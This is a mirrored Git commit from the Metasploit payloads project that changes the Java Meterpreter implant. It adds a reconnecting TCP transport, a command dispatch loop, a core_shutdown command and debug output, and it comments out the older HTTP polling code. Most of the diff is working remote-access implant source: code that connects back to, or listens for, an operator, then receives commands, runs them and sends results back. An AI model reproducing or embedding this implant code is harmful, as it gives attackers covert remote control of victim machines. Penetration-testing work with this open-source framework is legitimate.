1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-03-06 09:13:02 +01:00

Transport refactoring, dispatch functionality, and more

This commit adds a new idea to the dispatch loop that allows commands to
exit. It also adds the core_shutdown command so that it functions
correct. There are a bunch of other changes around transports as well,
and this commit adds a "resilient" TCP transport.

HTTP/S to come. progress being made. This commit is messy with debug
statements all through it, and they'll get removed down the track.
This commit is contained in:
OJ 2015-06-24 19:57:09 +10:00
parent 4ed2b484f0
commit bbe1ab529b
7 changed files with 597 additions and 160 deletions

View File

@ -1,5 +1,6 @@
package com.metasploit.meterpreter;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import java.util.Vector;
@ -40,8 +41,9 @@ public class CommandManager {
String javaversion = System.getProperty("java.version");
if (javaversion != null && javaversion.length() > 2) {
int vmVersion = javaversion.charAt(2) - '2' + ExtensionLoader.V1_2;
if (vmVersion >= ExtensionLoader.V1_2 && vmVersion < apiVersion)
if (vmVersion >= ExtensionLoader.V1_2 && vmVersion < apiVersion) {
apiVersion = vmVersion;
}
}
this.javaVersion = apiVersion;
@ -101,11 +103,38 @@ public class CommandManager {
*/
public Command getCommand(String name) {
Command cmd = (Command) registeredCommands.get(name);
if (cmd == null)
if (cmd == null) {
cmd = NotYetImplementedCommand.INSTANCE;
}
return cmd;
}
public int executeCommand(Meterpreter met, TLVPacket request, TLVPacket response) throws IOException {
String method = request.getStringValue(TLVType.TLV_TYPE_METHOD);
System.out.println("msf : Executing " + method);
Command cmd = this.getCommand(method);
System.out.println("msf : Method " + (cmd == null ? "not found" : "found"));
int result;
try {
result = cmd.execute(met, request, response);
} catch (Throwable t) {
System.out.println("msf : something went wrong executing the command");
t.printStackTrace(met.getErrorStream());
result = Command.ERROR_FAILURE;
}
if (result == Command.EXIT_DISPATCH) {
System.out.println("msf : dispatch exited");
response.add(TLVType.TLV_TYPE_RESULT, Command.ERROR_SUCCESS);
} else {
System.out.println("msf : dispatch didn't exit");
response.add(TLVType.TLV_TYPE_RESULT, result);
}
return result;
}
/**
* Reset the list of commands loaded by the last core_loadlib call
*/

View File

@ -8,6 +8,10 @@ import java.io.EOFException;
import java.io.IOException;
import java.io.OutputStream;
import java.io.PrintStream;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.SocketException;
import java.net.SocketTimeoutException;
import java.net.URL;
import java.net.URLClassLoader;
import java.net.URLConnection;
@ -27,13 +31,399 @@ import com.metasploit.meterpreter.core.core_loadlib;
*/
public class Meterpreter {
public static final int UUID_LEN = 16;
public static final int URL_LEN = 512;
private final TransportList transports = new TransportList();
private byte[] uuid;
private long sessionExpiry;
private class TransportList {
private Transport transport = null;
private Transport nextTransport = null;
private long wait = 0;
public boolean isEmpty() {
return this.transport == null;
}
public Transport current() {
return this.transport;
}
public boolean changeRequested() {
return this.nextTransport != null;
}
public void next(Meterpreter met) {
if (this.wait > 0) {
met.sleep(this.wait);
this.wait = 0;
}
if (this.nextTransport == null) {
this.transport = this.transport.getNext();
} else {
this.transport = this.nextTransport;
this.nextTransport = null;
}
}
public void add(Transport t) {
if (this.transport == null) {
// first transport, point it at itself
t.setNext(t);
t.setPrev(t);
this.transport = t;
} else {
// wire it into the end of the circular list
this.transport.getPrev().setNext(t);
t.setPrev(this.transport.getPrev());
t.setNext(this.transport);
this.transport.setPrev(t);
}
}
}
private abstract class Transport {
private Transport prev;
private Transport next;
protected String url;
protected long commTimeout;
protected long retryTotal;
protected long retryWait;
protected Transport(String url) {
this.url = url;
}
protected int parseTimeouts(byte[] configuration, int offset) {
// starts with the comms timeout
this.commTimeout = 1000L * Meterpreter.unpack32(configuration, offset);
System.out.println("msf : Comm timeout ms: " + this.commTimeout);
offset += 4;
// then we have the retry total
this.retryTotal = 1000L * Meterpreter.unpack32(configuration, offset);
System.out.println("msf : Retry total ms: " + this.retryTotal);
offset += 4;
// then we have the retry wait
this.retryWait = 1000L * Meterpreter.unpack32(configuration, offset);
System.out.println("msf : Retry Wait ms: " + this.retryWait);
offset += 4;
return offset;
}
protected abstract boolean tryConnect(Meterpreter met) throws IOException;
public abstract int parseConfig(byte[] configuration, int offset);
public abstract void bind(DataInputStream in, OutputStream rawOut);
public abstract void disconnect();
public abstract boolean dispatch(Meterpreter met, CommandManager commandManager);
public boolean connect(Meterpreter met) {
long lastAttempt = System.currentTimeMillis();
while (System.currentTimeMillis() < lastAttempt + this.retryTotal) {
try {
if (this.tryConnect(met)) {
return true;
}
} catch (Exception e) {
}
met.sleep(this.retryWait);
}
return false;
}
public void setPrev(Transport t) {
this.prev = t;
}
public void setNext(Transport t) {
this.next = t;
}
public Transport getPrev() {
return this.prev;
}
public Transport getNext() {
return this.next;
}
}
private class TcpTransport extends Transport {
private Socket sock = null;
private DataInputStream inputStream = null;
private DataOutputStream outputStream = null;
private String host;
private int port;
public TcpTransport(String url) {
super(url);
int portStart = url.lastIndexOf(":");
this.port = Integer.parseInt(url.substring(portStart + 1));
this.host = url.substring(url.lastIndexOf("/") + 1, portStart);
System.out.println("msf : Host: " + this.host);
System.out.println("msf : Port: " + this.port);
}
public void bind(DataInputStream in, OutputStream rawOut) {
this.inputStream = in;
this.outputStream = new DataOutputStream(rawOut);
}
public int parseConfig(byte[] configuration, int offset) {
return this.parseTimeouts(configuration, offset);
}
public void disconnect() {
if (this.inputStream != null) {
try {
this.inputStream.close();
}
catch (IOException ex) {
}
this.inputStream = null;
}
if (this.outputStream != null) {
try {
this.outputStream.close();
}
catch (IOException ex) {
}
this.outputStream = null;
}
if (this.sock != null) {
try {
this.sock.close();
}
catch (IOException ex) {
}
this.sock = null;
}
}
private void flushInputStream() throws IOException {
// we can assume that the server is trying to send the second
// stage at this point, so let's just read that in for now.
System.out.println("msf : Flushing the input stream");
// this includes 4 blobs of stuff we don't want
for (int i = 0; i < 4; i++) {
System.out.println("msf : Flushing the input stream: " + i);
int blobLen = this.inputStream.readInt();
System.out.println("msf : Discarding bytes: " + blobLen);
byte[] throwAway = new byte[blobLen];
this.inputStream.readFully(throwAway);
}
}
protected boolean tryConnect(Meterpreter met) throws IOException {
if (this.inputStream != null) {
// we're already connected
System.out.println("msf : Connecting on existing transport");
return true;
}
if (this.host.equals("")) {
ServerSocket server = new ServerSocket(this.port);
this.sock = server.accept();
server.close();
} else {
this.sock = new Socket(this.host, this.port);
}
if (this.sock != null) {
this.sock.setSoTimeout(500);
this.inputStream = new DataInputStream(this.sock.getInputStream());
this.outputStream = new DataOutputStream(this.sock.getOutputStream());
// this point we are effectively stageless, so flush the socket
this.flushInputStream();
return true;
}
return false;
}
/*
*
private TLVPacket executeCommand(TLVPacket request) throws IOException {
TLVPacket response = new TLVPacket();
String method = request.getStringValue(TLVType.TLV_TYPE_METHOD);
if (method.equals("core_switch_url")) {
String url = request.getStringValue(TLVType.TLV_TYPE_STRING);
int sessionExpirationTimeout = request.getIntValue(TLVType.TLV_TYPE_UINT);
int sessionCommunicationTimeout = request.getIntValue(TLVType.TLV_TYPE_LENGTH);
pollURL(new URL(url), sessionExpirationTimeout, sessionCommunicationTimeout);
return null;
} else if (method.equals("core_shutdown")) {
return null;
}
TLVPacket response = new TLVPacket();
String method = request.getStringValue(TLVType.TLV_TYPE_METHOD);
response.add(TLVType.TLV_TYPE_METHOD, method);
response.add(TLVType.TLV_TYPE_REQUEST_ID, request.getStringValue(TLVType.TLV_TYPE_REQUEST_ID));
Command cmd = commandManager.getCommand(method);
int result;
try {
result = cmd.execute(this, request, response);
} catch (Throwable t) {
t.printStackTrace(getErrorStream());
result = Command.ERROR_FAILURE;
}
TLVPacket response = new TLVPacket();
String method = request.getStringValue(TLVType.TLV_TYPE_METHOD);
response.add(TLVType.TLV_TYPE_METHOD, method);
response.add(TLVType.TLV_TYPE_REQUEST_ID, request.getStringValue(TLVType.TLV_TYPE_REQUEST_ID));
Command cmd = commandManager.getCommand(method);
int result;
try {
result = cmd.execute(this, request, response);
} catch (Throwable t) {
t.printStackTrace(getErrorStream());
result = Command.ERROR_FAILURE;
}
response.add(TLVType.TLV_TYPE_RESULT, result);
return response;
}
*/
public boolean dispatch(Meterpreter met, CommandManager commandManager) {
System.out.println("msf : In the dispatch loop");
long lastPacket = System.currentTimeMillis();
while (!met.hasSessionExpired() &&
System.currentTimeMillis() < lastPacket + this.commTimeout) {
try {
System.out.println("msf : Waiting for packet");
int len = this.inputStream.readInt();
int type = this.inputStream.readInt();
TLVPacket request = new TLVPacket(this.inputStream, len - 8);
System.out.println("msf : Packet received");
// got a packet, update the timestamp
lastPacket = System.currentTimeMillis();
TLVPacket response = request.createResponse();
int result = commandManager.executeCommand(met, request, response);
byte[] data = response.toByteArray();
synchronized (this.outputStream) {
System.out.println("msf : sending response");
this.outputStream.writeInt(data.length + 8);
this.outputStream.writeInt(PACKET_TYPE_RESPONSE);
this.outputStream.write(data);
this.outputStream.flush();
System.out.println("msf : sent response");
}
if (result == Command.EXIT_DISPATCH) {
return true;
}
} catch (SocketTimeoutException ex) {
// socket comms timeout, didn't get a packet,
// this is ok, so we ignore it
System.out.println("msf : Socket timeout (OK)");
} catch (Exception ex) {
// any other type of exception isn't good.
System.out.println("msf : Some other exception: " + ex.getClass().getName());
break;
}
}
// if we get here we assume things aren't good.
return false;
}
}
private void loadConfiguration(DataInputStream in, OutputStream rawOut, byte[] configuration) {
System.out.println("msf : Parsing configuration");
// socket handle is 4 bytes, followed by exit func, both of
// which we ignore.
int csr = 8;
// We start with the expiry, which is a 32 bit int
setExpiry(unpack32(configuration, csr));
System.out.println("msf : Unpacked expiry: " + this.sessionExpiry);
csr += 4;
// this is followed with the UUID
this.uuid = readBytes(configuration, csr, UUID_LEN);
System.out.println("msf : Read the UUID: " + this.uuid.length);
csr += UUID_LEN;
// here we need to loop through all the given transports, we know that we're
// going to get at least one.
while (configuration[csr] != '\0') {
// read the transport URL
String url = readString(configuration, csr, URL_LEN);
System.out.println("msf : Read URL: " + url);
csr += URL_LEN;
Transport t = null;
if (url.startsWith("tcp")) {
t = new TcpTransport(url);
} else {
//t = new HttpTransport(url);
}
csr = t.parseConfig(configuration, csr);
if (this.transports.isEmpty()) {
System.out.println("msf : Binding the first transport");
t.bind(in, rawOut);
}
this.transports.add(t);
}
// we don't currently support extensions, so when we reach the end of the
// list of transports we just bomb out.
System.out.println("msf : Finished parsing configuration");
}
public void setExpiry(long seconds) {
System.out.println("msf : Setting expiry forward seconds " + seconds);
this.sessionExpiry = System.currentTimeMillis() + seconds * 1000L;
}
public void sleep(long milliseconds) {
try {
Thread.sleep(milliseconds);
} catch (InterruptedException ex) {
// ignore
}
}
public static String readString(byte[] bytes, int offset, int size) {
return new String(readBytes(bytes, offset, size)).trim();
}
public static byte[] readBytes(byte[] bytes, int offset, int size) {
byte[] buf = new byte[size];
System.arraycopy(bytes, offset, buf, 0, size);
return buf;
}
public static int unpack32(byte[] bytes, int offset) {
int res = 0;
for (int i = 0; i < 4; i++) {
res = res | (((int)bytes[i + offset]) & 0xFF) << (i * 8);
}
return res;
}
private static final int PACKET_TYPE_REQUEST = 0;
private static final int PACKET_TYPE_RESPONSE = 1;
private List/* <Channel> */channels = new ArrayList();
private final CommandManager commandManager;
private final DataInputStream in;
private final DataOutputStream out;
private final Random rnd = new Random();
private final ByteArrayOutputStream errBuffer;
private final PrintStream err;
@ -66,11 +456,18 @@ public class Meterpreter {
*/
public Meterpreter(DataInputStream in, OutputStream rawOut, boolean loadExtensions, boolean redirectErrors, boolean beginExecution) throws Exception {
System.out.println("msf : Meterpreter constructing");
int configLen = in.readInt();
byte[] configBytes = new byte[configLen];
in.readFully(configBytes);
System.out.println("msf : Meterpreter config length: " + configLen);
loadConfiguration(in, rawOut, configBytes);
this.loadExtensions = loadExtensions;
this.in = in;
this.out = new DataOutputStream(rawOut);
commandManager = new CommandManager();
channels.add(null); // main communication channel?
this.commandManager = new CommandManager();
this.channels.add(null); // main communication channel?
if (redirectErrors) {
errBuffer = new ByteArrayOutputStream();
err = new PrintStream(errBuffer);
@ -83,21 +480,29 @@ public class Meterpreter {
}
}
public boolean hasSessionExpired() {
return System.currentTimeMillis() > this.sessionExpiry;
}
public void startExecuting() throws Exception {
try {
while (true) {
int len = in.readInt();
int ptype = in.readInt();
if (ptype != PACKET_TYPE_REQUEST)
throw new IOException("Invalid packet type: " + ptype);
TLVPacket request = new TLVPacket(in, len - 8);
TLVPacket response = executeCommand(request);
if (response != null)
writeTLV(PACKET_TYPE_RESPONSE, response);
System.out.println("msf : kicking off execution");
while (!this.hasSessionExpired() && this.transports.current() != null) {
if (!this.transports.current().connect(this)) {
System.out.println("msf : connection failed, going to next transport");
continue;
}
} catch (EOFException ex) {
System.out.println("msf : entering dispatch");
boolean cleanExit = this.transports.current().dispatch(this, this.commandManager);
System.out.println("msf : dispatch exited " + (cleanExit ? "cleanly" : "badly"));
this.transports.current().disconnect();
if (cleanExit && !this.transports.changeRequested()) {
break;
}
this.transports.next(this);
}
out.close();
synchronized (this) {
for (Iterator it = channels.iterator(); it.hasNext(); ) {
Channel c = (Channel) it.next();
@ -111,147 +516,117 @@ public class Meterpreter {
return "com.metasploit.meterpreter.PayloadTrustManager";
}
/**
* Write a TLV packet to this meterpreter's output stream.
*
* @param type The type ({@link #PACKET_TYPE_REQUEST} or {@link #PACKET_TYPE_RESPONSE})
* @param packet The packet to send
*/
private synchronized void writeTLV(int type, TLVPacket packet) throws IOException {
byte[] data = packet.toByteArray();
if (tlvQueue != null) {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
DataOutputStream dos = new DataOutputStream(baos);
dos.writeInt(data.length + 8);
dos.writeInt(type);
dos.write(data);
tlvQueue.add(baos.toByteArray());
return;
}
synchronized (out) {
out.writeInt(data.length + 8);
out.writeInt(type);
out.write(data);
out.flush();
}
}
/**
* Execute a command request.
*
* @param request The request to execute
* @return The response packet to send back
*/
private TLVPacket executeCommand(TLVPacket request) throws IOException {
TLVPacket response = new TLVPacket();
String method = request.getStringValue(TLVType.TLV_TYPE_METHOD);
if (method.equals("core_switch_url")) {
String url = request.getStringValue(TLVType.TLV_TYPE_STRING);
int sessionExpirationTimeout = request.getIntValue(TLVType.TLV_TYPE_UINT);
int sessionCommunicationTimeout = request.getIntValue(TLVType.TLV_TYPE_LENGTH);
pollURL(new URL(url), sessionExpirationTimeout, sessionCommunicationTimeout);
return null;
} else if (method.equals("core_shutdown")) {
return null;
}
response.add(TLVType.TLV_TYPE_METHOD, method);
response.add(TLVType.TLV_TYPE_REQUEST_ID, request.getStringValue(TLVType.TLV_TYPE_REQUEST_ID));
Command cmd = commandManager.getCommand(method);
int result;
try {
result = cmd.execute(this, request, response);
} catch (Throwable t) {
t.printStackTrace(getErrorStream());
result = Command.ERROR_FAILURE;
}
response.add(TLVType.TLV_TYPE_RESULT, result);
return response;
}
///**
// * Execute a command request.
// *
// * @param request The request to execute
// * @return The response packet to send back
// */
//private TLVPacket executeCommand(TLVPacket request) throws IOException {
// TLVPacket response = new TLVPacket();
// String method = request.getStringValue(TLVType.TLV_TYPE_METHOD);
// if (method.equals("core_switch_url")) {
// String url = request.getStringValue(TLVType.TLV_TYPE_STRING);
// int sessionExpirationTimeout = request.getIntValue(TLVType.TLV_TYPE_UINT);
// int sessionCommunicationTimeout = request.getIntValue(TLVType.TLV_TYPE_LENGTH);
// pollURL(new URL(url), sessionExpirationTimeout, sessionCommunicationTimeout);
// return null;
// } else if (method.equals("core_shutdown")) {
// return null;
// }
// response.add(TLVType.TLV_TYPE_METHOD, method);
// response.add(TLVType.TLV_TYPE_REQUEST_ID, request.getStringValue(TLVType.TLV_TYPE_REQUEST_ID));
// Command cmd = commandManager.getCommand(method);
// int result;
// try {
// result = cmd.execute(this, request, response);
// } catch (Throwable t) {
// t.printStackTrace(getErrorStream());
// result = Command.ERROR_FAILURE;
// }
// response.add(TLVType.TLV_TYPE_RESULT, result);
// return response;
//}
/**
* Poll from a given URL until a shutdown request is received.
*
* @param url
*/
private void pollURL(URL url, int sessionExpirationTimeout, int sessionCommunicationTimeout) throws IOException {
synchronized (this) {
tlvQueue = new ArrayList();
}
int ecount = 0;
long deadline = System.currentTimeMillis() + sessionExpirationTimeout * 1000L;
long commDeadline = System.currentTimeMillis() + sessionCommunicationTimeout * 1000L;
final byte[] RECV = "RECV".getBytes("ISO-8859-1");
while (System.currentTimeMillis() < Math.min(commDeadline, deadline)) {
byte[] outPacket = null;
synchronized (this) {
if (tlvQueue.size() > 0)
outPacket = (byte[]) tlvQueue.remove(0);
}
TLVPacket request = null;
try {
URLConnection uc = url.openConnection();
if (url.getProtocol().equals("https")) {
// load the trust manager via reflection, to avoid loading
// it when it is not needed (it requires Sun Java 1.4+)
try {
Class.forName(getPayloadTrustManager()).getMethod("useFor", new Class[]{URLConnection.class}).invoke(null, new Object[]{uc});
} catch (Exception ex) {
ex.printStackTrace(getErrorStream());
}
}
uc.setDoOutput(true);
OutputStream out = uc.getOutputStream();
out.write(outPacket == null ? RECV : outPacket);
out.close();
DataInputStream in = new DataInputStream(uc.getInputStream());
int len;
try {
len = in.readInt();
} catch (EOFException ex) {
len = -1;
}
if (len != -1) {
int ptype = in.readInt();
if (ptype != PACKET_TYPE_REQUEST)
throw new RuntimeException("Invalid packet type: " + ptype);
request = new TLVPacket(in, len - 8);
}
in.close();
commDeadline = System.currentTimeMillis() + sessionCommunicationTimeout * 1000L;
} catch (IOException ex) {
ex.printStackTrace(getErrorStream());
// URL not reachable
if (outPacket != null) {
synchronized (this) {
tlvQueue.add(0, outPacket);
}
}
}
if (request != null) {
ecount = 0;
TLVPacket response = executeCommand(request);
if (response == null)
break;
writeTLV(PACKET_TYPE_RESPONSE, response);
} else if (outPacket == null) {
int delay;
if (ecount < 10) {
delay = 10 * ecount;
} else {
delay = 100 * ecount;
}
ecount++;
try {
Thread.sleep(Math.min(10000, delay));
} catch (InterruptedException ex) {
// ignore
}
}
}
synchronized (this) {
tlvQueue = new ArrayList();
}
}
//private void pollURL(URL url, int sessionExpirationTimeout, int sessionCommunicationTimeout) throws IOException {
// synchronized (this) {
// tlvQueue = new ArrayList();
// }
// int ecount = 0;
// long deadline = System.currentTimeMillis() + sessionExpirationTimeout * 1000L;
// long commDeadline = System.currentTimeMillis() + sessionCommunicationTimeout * 1000L;
// final byte[] RECV = "RECV".getBytes("ISO-8859-1");
// while (System.currentTimeMillis() < Math.min(commDeadline, deadline)) {
// byte[] outPacket = null;
// synchronized (this) {
// if (tlvQueue.size() > 0)
// outPacket = (byte[]) tlvQueue.remove(0);
// }
// TLVPacket request = null;
// try {
// URLConnection uc = url.openConnection();
// if (url.getProtocol().equals("https")) {
// // load the trust manager via reflection, to avoid loading
// // it when it is not needed (it requires Sun Java 1.4+)
// try {
// Class.forName(getPayloadTrustManager()).getMethod("useFor", new Class[]{URLConnection.class}).invoke(null, new Object[]{uc});
// } catch (Exception ex) {
// ex.printStackTrace(getErrorStream());
// }
// }
// uc.setDoOutput(true);
// OutputStream out = uc.getOutputStream();
// out.write(outPacket == null ? RECV : outPacket);
// out.close();
// DataInputStream in = new DataInputStream(uc.getInputStream());
// int len;
// try {
// len = in.readInt();
// } catch (EOFException ex) {
// len = -1;
// }
// if (len != -1) {
// int ptype = in.readInt();
// if (ptype != PACKET_TYPE_REQUEST)
// throw new RuntimeException("Invalid packet type: " + ptype);
// request = new TLVPacket(in, len - 8);
// }
// in.close();
// commDeadline = System.currentTimeMillis() + sessionCommunicationTimeout * 1000L;
// } catch (IOException ex) {
// ex.printStackTrace(getErrorStream());
// // URL not reachable
// if (outPacket != null) {
// synchronized (this) {
// tlvQueue.add(0, outPacket);
// }
// }
// }
// if (request != null) {
// ecount = 0;
// TLVPacket response = executeCommand(request);
// if (response == null)
// break;
// writeTLV(PACKET_TYPE_RESPONSE, response);
// } else if (outPacket == null) {
// int delay;
// if (ecount < 10) {
// delay = 10 * ecount;
// } else {
// delay = 100 * ecount;
// }
// sleep(Math.min(10000, delay));
// }
// }
// synchronized (this) {
// tlvQueue = new ArrayList();
// }
//}
/**
* Get the command manager, used to register or lookup commands.
@ -289,10 +664,12 @@ public class Meterpreter {
*/
public Channel getChannel(int id, boolean throwIfNonexisting) {
Channel result = null;
if (id < channels.size())
if (id < channels.size()) {
result = (Channel) channels.get(id);
if (result == null && throwIfNonexisting)
}
if (result == null && throwIfNonexisting) {
throw new IllegalArgumentException("Channel " + id + " does not exist.");
}
return result;
}
@ -307,8 +684,9 @@ public class Meterpreter {
* Return the length of the currently buffered error stream content, or <code>-1</code> if no buffering is active.
*/
public int getErrorBufferLength() {
if (errBuffer == null)
if (errBuffer == null) {
return -1;
}
return errBuffer.size();
}
@ -316,8 +694,9 @@ public class Meterpreter {
* Return the currently buffered error stream content, or <code>null</code> if no buffering is active.
*/
public byte[] getErrorBuffer() {
if (errBuffer == null)
if (errBuffer == null) {
return null;
}
synchronized (errBuffer) {
byte[] result = errBuffer.toByteArray();
errBuffer.reset();
@ -338,7 +717,8 @@ public class Meterpreter {
requestID[i] = (char) ('A' + rnd.nextInt(26));
}
tlv.add(TLVType.TLV_TYPE_REQUEST_ID, new String(requestID));
writeTLV(PACKET_TYPE_REQUEST, tlv);
// TODO: put this back in
//writeTLV(PACKET_TYPE_REQUEST, tlv);
}
/**

View File

@ -254,6 +254,13 @@ public class TLVPacket {
return (byte[]) getValue(type);
}
public TLVPacket createResponse() throws IOException {
TLVPacket response = new TLVPacket();
response.add(TLVType.TLV_TYPE_METHOD, this.getStringValue(TLVType.TLV_TYPE_METHOD));
response.add(TLVType.TLV_TYPE_REQUEST_ID, this.getStringValue(TLVType.TLV_TYPE_REQUEST_ID));
return response;
}
/**
* Write all the values to an output stream.
*/

View File

@ -21,6 +21,11 @@ public interface Command {
*/
public static final int ERROR_FAILURE = 1;
/**
* Status code indicating a clean dispatch loop exit.
*/
public static final int EXIT_DISPATCH = 2;
/**
* Execute this command.
*

View File

@ -19,5 +19,6 @@ public class Loader implements ExtensionLoader {
mgr.registerCommand("core_channel_write", core_channel_write.class);
mgr.registerCommand("core_loadlib", core_loadlib.class);
mgr.registerCommand("core_machine_id", core_machine_id.class);
mgr.registerCommand("core_shutdown", core_shutdown.class);
}
}

View File

@ -56,6 +56,7 @@ public class core_machine_id implements Command {
}
machine_id = serial + ":" + getHostname();
}
System.out.println("msf : machine id : " + machine_id);
response.add(TLVType.TLV_TYPE_MACHINE_ID, machine_id);
return ERROR_SUCCESS;
}

View File

@ -0,0 +1,14 @@
package com.metasploit.meterpreter.core;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.command.Command;
import java.io.IOException;
public class core_shutdown implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
System.out.println("msf : Shutdown requested, exiting dispatch");
return EXIT_DISPATCH;
}
}